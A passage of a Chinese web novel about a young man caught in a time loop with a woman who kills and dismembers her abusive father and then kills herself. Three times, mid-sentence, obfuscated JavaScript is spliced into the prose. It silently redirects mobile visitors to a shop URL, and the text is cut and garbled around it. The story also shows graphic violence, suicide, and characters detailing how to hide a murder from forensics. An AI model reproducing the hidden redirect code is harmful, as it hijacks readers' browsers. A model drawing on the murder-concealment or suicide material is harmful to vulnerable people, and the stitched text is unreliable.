虽说上次循环时尤澈下定决心,就算裴九昭杀了人也要救她。只是,当英雄和说大话之间犹如鸿沟难以跨越,他一时有些摇摆不定。 尤澈在选择之间角逐不出来,索性先将它抛之脑后想些其他的事情。裴九昭自杀真的只是为了掩盖杀人的事情并且将嫌疑嫁祸给一个死人裴人中吗? 她为什么要杀了裴人中并且妄图让他名声扫地? 这次循环,窗户没有大开,浴室里没有刀、没有电锯,裴九昭不装了明明白白地将自己摊开、在他面前自杀……就是为了让自己放弃她。 连裴九昭都放弃自己了,还要救她吗? 尤澈决定将抉择交给直觉,他一步一步地慢行至裴九昭旁边,踩踏的血液溅到了裤角上,扑面而来的血腥味儿让他反胃,甚至想现在立马抱着马桶将中午吞下的饭吐个昏天黑地。 忍着恶心,尤澈跪坐在了裴九昭旁边的血泊,连他自己都不知道如今算是个什么情绪,竟不由自主地俯身凑到尸体的耳边,只为还她一句话。 “……你也骗我了。” 很突兀的。 尤澈觉得自己有病,妄想救杀人犯回头是岸。 他的身上沾满了裴九昭的血,随意将掌心按了一下便粘满稠红。尤澈低下头看向自己的手,鲁米诺能让它显蓝光啊。 不对…… 九循时,裴九昭没死还自首爆出了裴人中的死亡地点以及自己的犯罪手法,她的自首态度良好甚至不惜无期徒刑乃至死刑,警方应该能瞧得出来且没道理不信她,为什么还要用很多鲁米诺试剂? 难道这间屋里还有一起命案? 15.第十四次循环(上) “你来了?” 裴九昭像是知道他会来特意给他留了门,看来她已经与自己一般不会再被重置记忆了。 尤澈推开门的那一瞬间无意识地瞥到了她家中墙上的挂钟,十一点二十分。此时的阳光透过窗户些许落在不远的地方,裴九昭正半躺在撒下的光圈里。反光的缘故,他没有看清她手里拿了什么东西。 尤澈轻轻地应了一声,自顾自地寻了一个木头小板凳,熟络地放到窗户下躺椅的旁边,像是多年好友般自然地坐下。 他偏过头去,瞧到了裴九昭手中把玩的物件,是那把曾经十几次捅进她腹中的长15厘米的水果刀。 余光瞥到尤澈惧怕似的离自己挪远了一寸,裴九昭轻轻地笑了一下,右手自然地握上刀尖将水果刀一转,刀柄朝向旁边那人送了过去。 尤澈怔了一下没有接,反而仔细地打量这把刀。这是他第一次近距离地接触“凶器”,之前要么是被裴九昭藏了起来,要么立在她的腹中……除了上面有一些干涸的血迹外,与平常的水果刀并无不同。 等等……血迹? 他来晚了?裴九昭已经“处理”过裴人中了? 他不接裴九昭也不强求,兀自将水果刀在掌心转了一下扔到了一旁的桌子上,锋利的刀尖在右手上留了一个小口子,半天才溢出血来。 她不怎么在意地用指腹抹了一下创口上的血珠,淡淡地开口问道:“为什么来?” “是我亲身告诉你的‘真相’不够有威慑力吗?” 听到裴九昭的提醒,尤澈陡然想起来上次循环的最后,自己疯了似的去搜刮那个小屋子。 床底、衣柜,甚至不惜将那些神像都扫落在地找寻有没有藏起来的机关和躲起来的凶手……每个角落都一一探过,但是真的没有。 裴九昭真的是自杀,他再没有了为她狡辩的任何理由……裴九昭真的杀了人后又自杀。 但是尤澈还是不信裴九昭没有任何理由就要连杀两个人,所以他还是来了。 “我是为了隐情来的。” 很突兀的,尤澈觉得她是疯狗,自己是贱狗,活该被循环凑到一起,他被自己的这个想法惹得低声笑了。 裴九昭听到尤澈的回答顿了一下,随后跟着莫名其妙笑起来的他一起笑着,说道:“隐情?我能有什么隐情?” 闻言,尤澈静了下来。 很明显,裴九昭想甩掉他这块不请自来的狗皮膏药,话语中明明是在嘲讽他、在反驳他,听起来却很落寞。 “你不怕吗?”,裴九昭伸出手挡了一下眼前的光,偏过头看着尤澈,认真的神情与接下来说的话一点也不符。 “我把他杀了啊,拿着那把电锯把他剁成了几十块……电锯快没电了,时快时慢地与肉、骨头相互磨着,切下来的断口坑坑洼洼的,像极了他恶心的一辈子。” “我以为我会呕吐、会害怕、会手抖,每次有小白鼠的联合实验我都会请假……可是我没有,我的手比电锯的电量还稳,我好开心啊。” “明明浴室对面就是那堆佛像所在的屋子,祂们看不见血肉、听不见悲鸣、纵容每个人大开杀戒……所以我更开心了,今天是我这辈子最快乐的一天。” “一个变态的种,自然不会是什么佛子,她只能是疯子。” 尤澈的表情在阳光的虚幻下看不清切,裴九昭微微闭了一下眼,淡淡地说道:“你不怕我把你也……唔。” 棒棒糖挤进唇缝,过分甜的橘子味儿一下子在口中炸开。 “你刚刚说了什么?我在剥糖纸没听到。”,尤澈从口袋里抽出手摊开在裴九昭面前,皱巴巴的糖纸与九循时的那颗一样。 似是感受到裴九昭怔愣的眼神落在自己身上,尤澈瞧了她咬着橘子味儿棒棒糖的样子,又低头看了一眼手心的糖纸,有些抱歉地解释道:“……不好意思,没有其他味道了。” 不管尤澈是真没听到还是装没听到,裴九昭都没了再说一遍的勇气,她收回目光直视阳光,半眯着眼无意识地用牙齿磨橘子味的硬糖。 屋子里安静了很久,她口中的硬糖越来越小最后被嘎吱嘎吱地咬碎。 “想推开一个人时,偏偏会用威胁的话语。”,尤澈的声音轻轻地响起。 “你若不想留我,大可在门那边做个机关,只等我进来,刀子一抹两处干净……我也再不会来烦你、打扰你,对吗?” 咬糖的牙齿一顿,随后裴九昭若无其事地将口中的小棍子抽了出来扔到一边。 看出她没有回话的意思,尤澈静了一会儿,答了裴九昭刚刚最后一句没问完的话,说道:“我知道你不怕,所以我也不怕。” “啧,不要说得我们很熟的样子。”,细碎的橘子味儿硬糖化在口中无影无踪,裴九昭起身将面前的窗户开了一条缝。 “我怕……怕死了,所以在杀完人后才会找个陌生人聊天,待到我将所有都抒发完之后,为了防止睡觉时被噩梦缠身,所以杀了我自己。” “黄泉路上大约就不怕厉鬼了吧。” “你说谎。” 尤澈下意识地反驳,说完之后连他自己也愣了一下。 裴九昭闻言煞有介事地摇了摇脑袋,像是算命的半仙儿般手挥了几下后说道:“一半一半。” “找你聊天算是意外……以及,我怕噩梦但更想让他背上命案。” 尤澈知道她说的是想让裴人中为她的死负责,但……只是这样吗? 裴人中的死在前,裴九昭的死在后。她杀了裴人中只是为了给自杀添上一层神秘色彩吗? 他细细思索了一下,望着她的背影轻轻地开口问道:“为什么杀了他又自杀?他做了很不好的事吗?” “我们可以一起努力让循环往前推进,推到裴人中干坏事之前……” “可以循环到昨天吗?”,裴九昭猛地转身走到尤澈面前将他蓦地吓了一下,一双漂亮的眸子中带着空幻的期翼,隔着透明的膜。 “可以循环到五年前吗?可以循环到二十三年前吗……” 那目光中掺杂着渴望、不服、幻想以及自毁。 尤澈张了张嘴,如鲠在喉似的说不出来一个字。两人僵持半天,他将口中的“不会”换成了另一个回答,“我不知道。” “那我告诉你,不能。” 裴九昭自嘲地笑了一下,蓦地蹲在尤澈的前面,将头埋进了两膝之间,闷声道:“我死了那么多次,循环了那么多次,一次也没有挽回过……” “我每次痛到记忆模糊的时候都在想,哪怕老天就眷顾我那么一次,我不惜以生命为代价……一次就好,无论送我到昨天、五年前还是二十三年前,只要将他杀死,一切都结束了。” “不该活着的人死去,不该死去的人活着,就像童话里的美好结局那样……可是一次都没有,每次醒来都是一样的痛苦和绝望。” 裴九昭的手颤得厉害,在阳光下的阴影晃得尤澈头晕,他没有问发生了什么事情,反而问了一个突然萦绕心头的问题。 “……那你呢?” 闻言,抖个不停的身子一僵。 裴九昭抬起发红的双眼仰头看向面前的尤澈,温暖的光在他的面容上慢慢滑过不留痕迹。她发现对方一直在看自己,慌忙地收回视线,抓着躺椅的扶手把自己摔了进去。 她低着头看着自己,视线从手臂扫到身体,淡淡地开口道:“我……在不曾普渡众生的佛像下偷偷长大,苟延残喘地活了二十二年。” “足够了。” 自毁者难救。 尤澈从猜到裴九昭自杀开始就知道这个道理。只是他不信邪,偏偏要救,又不如神佛那般生得一条玲珑舌。 更何况,裴九昭不信神佛。 刚刚吵闹一会儿的屋子陡然又安静了下来。 太阳渐渐偏移,将整个阳台包裹在光辉之下。尤澈透过窗户看到了刚才被藏起来的太阳,耀眼夺目极了。 他还是不能装聋作哑地一遍遍略过裴九昭的欲望核心,于是带着试探意味开口问道:“你想救谁?我可以帮你。” 死在这间屋子里的第三个人是谁,需要相城区警方一次次用鲁米诺试剂的是谁,裴九昭急匆匆赶回家的源头是谁,裴九昭不惜杀人为了谁…… “来不及了,她死了……”,裴九昭红着眼眶摇了摇头,崩溃地默默道:“二十三年前就死了,今天才走轮回路。” 二十三年前…… 是谁?循环到现在,到了十四次,尤澈对裴九昭的了解还是不多,无法通过她的只言片语推出更多,只能期盼她自己能够多说点。 哪怕,只是倾诉、只是骂人。 许是尤澈的祈愿有了结果,裴九昭用手背蹭了一下眼睛,有些哽咽地问道:“无论哪处警方,是不是从未在你面前提起过那锅肉、冰箱里刚冻下不久的肉?” 就算警方提起,尤澈也只会将那锅肉当作日常的午饭。经裴九昭的提醒,他蓦地回忆起上次循环时裴人中端着肉出来在客厅吃得津津有味。 尽管那时屋子到处都很干净,但若有似无的血腥味儿一下子就被他捕捉到了。尤澈一直以为那是裴人中没有用生姜料酒去腥的缘故。 现在细想来……裴人中先在这间屋子里杀了人? 能生活在这间屋子里的,难道是裴九昭的母亲? 还能让裴九昭想到分尸这种杀人手法的,尤澈蓦地偏过头惊骇地说道:“他杀了你母亲?” “还将她分尸,一部分放到了冰箱里,一部分……煮熟端上桌让你和林丹伽品尝?” 裴九昭没说话没点头,却也没否认。回忆中的肉腥味儿飘渺地萦绕在尤澈的周围,让他开始反胃犯恶心想吐。 难怪垃圾桶中有呕吐物,按照裴人中的性格必然会用她母亲威胁裴九昭吃下煮好的“肉”再告诉她真相。 难怪无论是章以恩还是林丹伽,谈到裴九昭的父母都色变。 前几次循环中,裴九昭命案达到了一个空前的讨论程度,上面的人肯定不希望看到案件的结果是为人父弑妻弑女,必定要百般捂住溃烂的毒疮…… 难怪章以恩从不主动提及裴人中,甚至刻意隐瞒弱化裴人中在裴九昭命案中的线索,是怕他走漏风声。 尤澈的脸色沉了下去,尽管不合时宜,他还是忍不住地问道:“为什么?” 若不是裴人中被扔到了烂尾楼,他这样令人伤心的问题不会面刺裴九昭。 裴九昭侧头看了一眼尤澈,沉默地收回目光后自暴自弃地讲道:“二十三年前,他玷污了我母亲并毁了她二十多年清白的名声,以此威胁母亲嫁给他,从而攀上外公家。” “借着外公家的声势以及钱财混迹灰色地带,多次玷污其他女性。仗着无人敢以自己的名声同他打官司,风生水起地逍遥了十七年。” “一开始谁都不愿意提供证据,因为有一点点物证交给警方就会被东拉着问为什么不早一点报警、西扯着被迫回忆当时的黑暗情景……五年前,母亲不知和谁联合将他告上法庭,以强.奸罪判了五年。” “今天是出狱的日子……我竟然忘了,一定是五年的自由时间太多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671884|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了对不对?多到我忘乎所以地活着,放任自己与其他正常人一般,忽视了身后如影随形的深渊。” “不是的。是人渣的错,是世道的错,是任何一个放任他走到今天的人的错……” 真相来得如此简单却能剥离了裴九昭的理解、抽尽了尤澈的力气。此时此刻,除了无能为力,再没有词可以形容他。 他只能一次一次地用遍言语、费尽口舌将裴九昭从自毁的境界里拉出来。除此之外,尤澈再无他法。 “但是裴九昭,就算是我的错,也不是你的错。” “可是她死了啊!” 裴九昭仰躺在椅子上,两只手盖在面庞上,闷声道:“她无能、柔弱、反抗无果、愚昧地信着漫天神佛……但她却殚精竭虑将我养活了,现在又因我而死。” “我宁愿她干干净净地活着,一辈子做个无忧无虑的公主,没有我。” 最后一句话的开始,裴九昭的耳朵就被旁边那人伸手捂住了。 她没有撤掉遮住眼睛的双手,两行清泪从盖不住的地方缓缓流出。裴九昭就这么哭着笑了,轻声问道:“你是不知道骨传导吗?” “就算你捂住我的耳朵,我还是能听见。” 等了几秒,模糊不清的声音从旁边传来,听起来沉沉得。 “你就当我在自欺欺人吧。” “我只是……没有棒棒糖了。早知道刚才就多买几根了。” 又等了一会儿,尤澈还是没有松手,裴九昭也没有松手,就这么个自我保护的蜷缩姿势打开了话匣子。 “第八次循环,你出循环的那次。我已经做到了我能做的所有事,把他分尸丢到烂尾楼,自杀造成他杀了我的假象,用尽力气将这件事搞得人尽皆知。” “结果呢?没有一个人敢将他碎尸妻子、十几刀捅死女儿的事情公之于众,甚至都没有多少人知道那个杀人犯、强.奸犯叫什么名字……” “他们怕啊……怕因为自己失职被撤职、怕被群情激愤的人们围堵、怕虚拟世界的流言蜚语、怕任何不用怕的事,唯独不怕自己对自己的道德谴责。” “也是了,道德算个什么?它就是个屁,甚至大多时候连个响声都没有,自然而然地融入污杂的空气中。” 尤澈的手捂耳朵捂得很紧,她的声音在自己听来有时都不算很清晰。 裴九昭大概知道了他不愿收手的缘故,虽然她不想随意收取别人的设施,但此时此刻心底总有一个声音在对她说话——算了,反正也见不了几面了。 就像是裴九昭一开始会同尤澈聊近四个小时的时候,心底也总是在说——算了,也不着急投胎,再说会儿吧,不然就真死了。 “第九次循环,你还没来的时候。庭审正在列举证据,坐在那里总能听到后面的窃窃私语,明明很小声我还是听到了。” “说我真变态、说我是个疯子。我肯定是啊,不然怎么那么轻松地砍自己十几刀……也许我疯得还不够,不然怎么没有把杀人的过程录成视频,黑进游城市的每个屏幕。” “再问他们一句,为什么坏事做尽的人也怕死啊?” 裴九昭猛地撤下遮住眼睛的双手,紧紧地抓住捂住自己耳朵的手腕,通红的眼眸直直地盯着面前的尤澈,恍惚中带着些许疯狂的神色。 “要不你帮帮我吧……” “你不是想脱离循环吗?你已经知道了隐情,你帮我母亲昭雪,我的冤魂就不会再缠着你了,你就自由了,好吗?” 眼前的尤澈紧紧地抿着唇,隔着水光裴九昭看不清他的神色,只知道对方一直不回话便是不同意,眼神逐渐落寞下去。 她没有松开自己的手,尤澈依然也没有松手,尽管他一直捂住她的耳朵悬在半空中已经开始发颤了。 裴九昭偏过头,从两只手的缝隙中看向那个盛满佛像的屋子,无助地盯着它开始发呆,不知过了多久突然笑了一声。 “从我记事起,那间屋子里就摆上了佛像。许是怕力度不够,佛听不到,每年都会多一座一起供着,每天的固定时间总是烟雾缭绕、香火不断。” “母亲带着我一起拜,总说未来会好的,总说苦海无涯这是人应该经历的,总说菩萨以慈悲为怀最看不得人受苦会帮我们引渡的。我原本是信的,后来就不信了,还劝母亲也不要信,她不会听我的。” “佛不曾垂眼众生,能救人的、能昭雪的、能报仇的,始终只有人自己的。” 裴九昭转过头看向尤澈,因为被捂住耳朵,声音嗡嗡得在胸腔共鸣。 “你说,我上次死在祂们面前时,有佛愿意渡我吗?” 她看到了尤澈的口型是“有”,裴九昭笑着轻轻摇了摇头,眼眶里的泪水撑不住滑了出来,她说。 “没有,只有一个愚蠢的人。” 只是她携着最大的恶意降生,阻止不了任何在身边发生的事,给所有人带来的都是痛苦,还在循环中杀了那么多次裴人中…… 罪业太重了。 裴九昭率先松开了手,笑着对尤澈一字一句地说道:“是不是我再说要换衣服请你回避,就太过假、太像唬人的了?” “那么容许我再找个理由,好吗?”,她眼中的泪刚才掉落了,因此看到对面的人也开始含泪了。 裴九昭举起自己的手,用指腹轻柔地蹭掉尤澈眼角蓄的泪水,做了个“别哭”的口型。 理由太难了,都帮他擦掉好几次泪了,裴九昭还是没有头绪。最后,她选择了最简单的方式。 “求求你,让我死。” “好吗?” 16.第十四次循环(下) “姓名。” “……尤澈。” 负责主审的女警官看向五步之外被铐在铁椅上垂着头的尤澈,认真地问道:“你于裴九昭家中报案自首、对自己杀人的事供认不讳是否属实?” “是。”,尤澈浅浅咳了两声,抿了抿发干的唇,接着说道:“是我杀的裴人中。” “我用电锯把他分尸,扔到了烂尾楼里喂狗。” 闻言,主审微微侧头。一旁记录的小警官感知到后,小声说道:“确实在裴九昭家中浴室发现了带血的电锯,浴缸里残存些许生物组织。” “不过,派去烂尾楼搜查的人还没回来。” 女警官略一思索,问尤澈道:“裴九昭的尸体又是怎么回事?” 沉默蔓延在审讯室里,尤澈闭了闭眼试图将那腥红的场面从脑子里挥去。 他艰难地张口说道:“……也是我杀的。” 小警官从桌子上抽出新鲜出炉的资料,翻了几页后皱着眉反驳道:“根据裴九昭腹部的刀口判断,凶器是桌子上那把带血的15厘米长水果刀。” “刀柄上有裴人中和裴九昭的指纹,并没有在上面检测到你的指纹。” “你说谎。” 是啊,他终究阻止不了裴九昭自杀。 尤澈蓦地想起自己刚到的时候,裴九昭将水果刀递给他过,可是他没接。 他为什么不接呢?要是接了是不是就可以坐实罪名了? 小警官见他不说话,冷静地追问道:“裴九昭究竟是怎么死的?” ……怎么死的呢? 明明水果刀一开始就被裴九昭扔到一旁的桌子上了,就算她后来开口求自己,尤澈也没有撤去捂住她耳朵的手。 她根本够不到水果刀,没办法再捅自己十几刀,是怎么死的呢? 尤澈的记忆有点混杂,致使他的脑袋不算很清楚,低着头直直地看向自己被铐起来的那双手。指节、掌心、指缝、指腹……遍布暗红色的干涸血迹,他下意识地想将手上面的东西都搓掉。 他想起来了…… 进门后搬着板凳坐到裴九昭旁边后,那把水果刀上面就有血迹。 他本以为那是裴人中的血就将它忽视了。其实从一开始就有两把凶器,电锯是杀裴人中和她母亲的,水果刀才是杀裴九昭的。 他自以为是的将两把凶器搞混,沉浸在裴九昭营造出来的痛苦情绪中,忽视了若有似无的淡淡血腥气。 直到她笑着开始一杯一杯地喝水,他先是疑惑不解,后来被她衣服上渗出来的血迹吸引目光,才明白水果刀上的血迹自始至终都只是裴九昭的。 从他来之前就有的伤口,约莫是为了控制住裴人中不惜被他捅了一刀…… 尤澈就撤了一只手去捂住她腹部的伤口,试图与一个自毁者做最后的斗争。 可是她一直在喝水、一直在笑,血根本止不住,像她的生命般从指缝间毫不留情地流走。 尤澈宁愿她也同自己一起哭,让自己知道她痛得厉害、疼得难受,宁愿她还跟不认识自己一样骂自己跟踪狂、傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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尤其是如今他与裴九昭都有循环的记忆,基本上属于是谁早一步碰到裴人中,谁就占据谈判的主动权。 只要裴人中不死,裴九昭就不会死。 一个多小时的车程,陪伴他的除了阳光就是从旁边驶过络绎不绝的车。 尤澈靠在车窗边出神,光影在他的面庞上滑走又回来。车内安静得只能听到发动机嗡鸣的声音,令他有些恍惚,仿佛置身于梦境中。 差几分到十点,车终于驶进游城市区,最终停在了裴九昭居住的居民区门口。 尤澈付了钱下车后加急朝那个熟悉的地方赶去,边跑边低头扫了一眼时间,十点十一分。 到裴九昭家门口后,他抬手敲了敲门,无人回应。 连敲了几次,里面还是没有动静。尤澈皱了皱眉,在口袋里摸到了自己的学生证,有了一个想法。 裴九昭家窗户是老式的横栓,用薄薄的硬纸片可以较为轻易地推开。他绕到窗户外边,用自己的学生证试了几次,成功地打开了厚重的窗户。 令人作呕的肉腥味儿混杂着挥之不去的血腥味儿扑面而来,他蹙着眉从窗台上翻了进去。 客厅没有人,厨房好像开着火,锅盖啪嗒啪嗒地乱响。尤澈先去关了燃气,透明锅盖下的雾气遇冷化成水一滴滴地滑下去,露出里面煮的东西。 带着血丝的断口、惨白的表皮、扭曲的肢体以及驳杂的器官,混成了一锅残骸,他忍住恶心用袖口捂住鼻子低着头转身离开了厨房。 还没走几步,就看到不远处一个人立在那里。尤澈慢慢地抬眼,是神情阴郁的裴九昭,他立马放下袖子站直,不自在地摆了摆手。 纠结半天编不出什么好的理由,只好硬着头皮认错道:“不好意思,我第一次近距离见……不是故意捂鼻子的。” 眼瞧着尤澈急忙辩解生怕自己误会,裴九昭浅浅地“嗯”了一声,淡漠地说道:“我第一次见到的时候直接吐了,你比我强。” “我没有怪你的意思……只是你不该这个时间点来的。” 尤澈扫了一眼裴九昭的背后,是紧闭着门的浴室。他刚刚翻窗进来的时候,浴室的门还半掩着,想来她从那里出来。只是浴室中的裴人中是死是活,就不得而知了。 他抿了抿发干的唇,站在裴九昭面前一时不知道说些什么。 反倒是裴九昭的视线捕捉到了他往浴室瞟的眼神,她兀自回头瞧了一眼,解释道:“还没有死,但快了。” “我们……谈谈?”,尤澈犹豫了半天才说出口。 裴九昭闻言微微垂眼,扫到他因紧张而在身侧攥紧的手,挑了一下眉问道:“哦?谈什么?” “想知道我怎么瞒天过海杀的人?怎么完成的犯罪?” 看到尤澈有些颓地垂下脑袋,裴九昭笑了一声道:“可以,我去搬板凳。” “就坐窗前面吧,那里还算能呼吸。” 尤澈不敢劳烦她搬板凳,自己跑过去抓了两个放到窗户前边,回头一瞧裴九昭从始至终都站在原地没动过,就在他放下板凳后自觉地坐了上去。 他微微偏头扫了一眼紧闭的浴室门,跟着坐了下来。 “很简单,我从实验室里顺了麻醉剂。那里面有什么就拿什么,恩氟烷、异氟烷、七氟烷……提纯后分装,最后混在一起捂到了他的脸上。” 裴九昭无所谓地摆了摆手,继续说道:“我之前没试过混在一起的功效,不过有毒更好,直接就死了……” 吸入性麻醉剂,还是提纯的,与他上次循环在相城区警方的审讯室里交待的基本上不差,只是他不知道那些麻醉剂的名字。 尤澈蓦地想到了什么,蹙着眉偏过头看向裴九昭,上下扫了她好几眼后打断她道:“你腹部的伤口……” 她今日的衣服上没有划破的地方也没有血迹渗出来,他说到一半闭上了嘴,只直直地看着她,希望她自己主动讲出来。 尤澈的视线太过直白,裴九昭想忽略都难,无奈地解释道:“我和他打了那么多次了,知道怎么躲可以避免伤口的。” “不过这次不留伤还是因为你会来……我知道你要劝我,更知道我不太听劝,所耗的时间只怕会很长。” “那样太疼了。” 尤澈从口袋里摸索了一会儿,掏出来一把单独包装的软糖,默默地递了过去。 裴九昭看着眼前的一把糖怔了一下,随后笑着拈了一颗撕开放进嘴里,继续讲道:“放心,为了这次交谈,我从实验室带了浓度很高的麻醉剂。” “不止是你劝我,我也要劝你。” 软糖不是特别甜,用牙齿轻轻咬开后一股清香漫上来,裴九昭将它细细咀嚼后接着犯罪的话题说道:“麻醉后我会将他拖到浴室的浴缸里……很巧,浴缸里正好有一床浸满血的棉被,是他分尸垫着用的。” “很可惜,他并不聪明。尽管浴缸下垫了东西,那些动脉的血啊,照样可以溅满整个浴室的墙壁、地面……带着怨恨喷他一身。” “知识改变命运,我会带着液氮,重新启用他所行杀戮之地。就算有部位没有冻好流下血迹到棉被上,因为提取不到DNA,他们只能用鲁米诺试剂检测上面有没有血,而分不清到底是谁的血。” “棉被如此,电锯亦如此。” 裴九昭吞下那颗糖后,蓦地想到一件好玩的事情,转过头看向尤澈,一双眼睛亮亮得。 “你知道吗?我从书包里慢条斯理地拿出五双实验手套一只一只带上的时候,他看我的眼神居然夹杂了恐惧。” “他跑到桌子边拿上那把刀,手居然会颤抖,真是不可思议……明明都将人分尸了,还会怕吗?” “不过这正是我想要的,他最好多握着那把刀一会儿,最好在上面留满指纹,让警方没有再能怀疑的人。” “他拿着刀冲过来捅了我一下,然后发现我就在原地站着不动,竟然直接扔下刀就往后退啊……” 裴九昭又从尤澈的手里抓了一颗糖塞进嘴里,囫囵说道:“烂尾楼曾在施工及灭火时用过液氮,所以就算将液氮的瓶子扔到那里也没人发现。” “绕过监控是最简单的事情,至于窗台上的鞋印,穿着他的鞋子出去扔掉再穿上自己的回来……让我想想还有什么?” “一切都准备好之后,我带着手套用刀捅了自己十几刀……也不是真的要对自己这么狠,只是为了掩饰刀口,一刀两刀很容易被查出来。” “手套被我用火柴烧掉,扔到马桶里冲走了。” 麻醉剂、液氮、手套、火柴、被马桶冲走……竟然与他上次循环时胡扯的丝毫不差,他们居然完全想到一处去了,思及此尤澈不禁低低笑了一下。 余光瞥见尤澈勾起嘴角,裴九昭微微皱了一下眉,不解地问道:“笑什么?” “你不是应该恐惧吗?恐惧我杀人时如此缜密……” 虽然他摇了摇头表示自己没笑什么,裴九昭在那一瞬间还是感觉到了不对劲,她偏过头眯着眼看了尤澈半天,蓦地似醍醐灌顶般问道:“上次循环,我死后你做了什么?” 裴九昭敏锐的洞察力令他一惊,尤澈暗压心里的讶异,装作毫不知情的模样疑惑地说道:“我除了回去睡觉还能做什么?” “你去自首了?”,裴九昭看着他眼底一瞬闪过的心虚,越想越对地分析道:“你顶了我的罪?” “不仅承认自己杀了裴人中,还承认杀了我是吗?” “审讯的警官问你作案过程的时候,你尽力编给她听、尽力圆上自己的杀人案?” “可是他们没有信对吗?” 尤澈不得不承认,裴九昭真的很聪明,比他要聪明得多。如果在循环中,他们两个的位置对调,裴九昭应该很早就将他救下来了,不用耗费这么长的时间。 听着她越发生气的话,尤澈难得没有认为自己错了,反而抬眼直视裴九昭,认真地说道:“因为上次循环,你根本没有给自己做任何脱罪行为。” “如果像是你所说的那样,带上手套、避开监控……如果案发现场是我布置的,他们就会信。” “可这是我的事!” 尤澈眼瞧着她气得将头扭过去背对着自己,淡淡地陈述道:“第十五次循环了,你还觉得……只是你的事吗?” 气氛降到冰点,一时之间谁都没有开口说一句话。 直到阳光微斜,裴九昭才再度转过头面朝窗户,有些哑地低声开口道:“对不起……” “上次自说自话地将昭雪的事推给了你,你不应该牵扯进来。” “就算烂,也只会烂在这一家、烂在我们三个身上。” “我想牵扯进来也得警方信。”,尤澈自嘲地笑了一下。 “裴九昭,你怕什么?虽然一开始我确实是因为良心不安、接受不了流言蜚语重新进循环,但是循环到现在了,我不信你不知道我为什么要再来。” “你可以说我贱,可以说我蠢,可以说我自作聪明……” “你为什么非要救我?”,裴九昭听不得尤澈自损的话,垂眸开口打断他。 “我不知道。” “不是每个部位都会说话,或许是心脏、或许是大脑,它们想所以我想。” 传入耳朵里的声音极其诚挚且认真,裴九昭的脑袋却垂下得更低了。 “你知道我为什么要在死前给林大招生办打电话吗?你知道为什么今年游大的物理系院线是360,而我考了367被刷掉了吗?” 虽然她说的与两人争执的话题无关,尤澈听了之后还是一怔,思索了几秒后不确定地开口道:“……造假?” “嗯。”,裴九昭沉默了一会儿哑着嗓子开口道:“游大藏得太深了,我也是前几天才知道的,招生办形同摆设。” “无论本校还是外校的,能巴结上的,初试分数只要能看得过去,复试就能抬进去。不过本校的居多,毕竟近水楼台先得月……那些学长学姐为了上岸或是毕业,总是日日‘辛苦’。” “虽然要死了,可总是不甘心呐……只是没想到林大坐班的是同学,总想着再留下点什么吧,哪怕是对陌生人呢?” “还没有当面对你说过……无端将你拉了进来,抱歉。” 裴九昭转过身子,认真地正视尤澈,郑重地说道:“你瞧,这世上没有什么是公平的。” “就像我犯了错却将无辜的你带进循环,就像母亲一辈子吃斋念佛祈祷平安终究还是被杀了,就像裴人中死了并不会偿还任何受害者的损失……但他总归不会再害其他人。” “如果这个凶手不是我来做,那么我将成为‘未来’的从犯。” 尤澈边听她说边摇头,最后反驳道:“可我们还能将他交给警方不是吗?” “就非得采用最坏的结局吗?只要重新循环,收集证据,我们一定能成功地将他送去蹲局子,那样也不会再害其他人。” “然后,你不会杀人就不会死。” 裴九昭闻言点了点头,说道:“母亲当年就如你这般天真。” “我们所有人对于一个恶犯除了杀死他都无能为力,只好将他交给社会来审判。结果呢?毁了数不清女孩子的未来人生,判了五年?” “义务劳动五年就可以抵罪了吗?劳改后的结局,杀人分尸……然后呢?再送进去劳改吗?恕我直言,那些打着为孩子好、改变同性恋的学校都没这么容易出来吧?” “你乐意拥有这么一个定时炸弹吗?” 裴九昭所有用来辩驳他的话,都与他上次循环时在审讯室的大喊大叫有异曲同工之妙。尤澈何曾不明白不理解她说的这些,甚至设身处地来说,他自己大概率也会一刀砍了裴人中。 不是不信权威,是权威似乎没有那么权威。它看起来公平,实际上公平与否谁也说不清。更何况,它曾失信于受害者。 没有听到尤澈反驳的声音,裴九昭转了个话题问道:“我曾在十几次循环中残忍地分尸裴人中,一朝循环重置犯罪痕迹,所有的一切都变成了最开始的模样,而我成为了真正的受害者,得到庇护。” “如果你是审判官,我是否有罪?” “无罪。” 裴九昭显然对于这个回答毫不意外,她又问道:“裴人中曾在十几次循环中无数次玷污女姓、虐杀女性满足自己的欲望,一朝循环重置犯罪痕迹,所有的一切都变成了最初的模样,他成为了一个普通人,不受任何法律约束。” “他是否有罪?” “……有罪。” 裴九昭“嗯”了一声,说道:“所以这是一件很主观的事情。” “只不过很可惜的是,我心里的天平倒向了有罪。” 尤澈抿了抿发干的唇,急切地辩驳道:“可你们两个不一样啊……” “他在犯罪,而你在赎罪。” “他杀人是因为自私和欲望,你杀人难道不是为了别人吗?为了你母亲、为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤澈得到她的回应后浅浅笑了笑,说道:“那就好。” “恶人都没什么负罪感,循环结束后除了我谁都不知道你做了什么。” “你可以活下去了。” 很突兀的,紧闭的浴室传来轻微的声音,两个正在暗自较劲的人脸色皆变。 尤澈率先开出自己的条件说道:“裴九昭,能不死吗?” 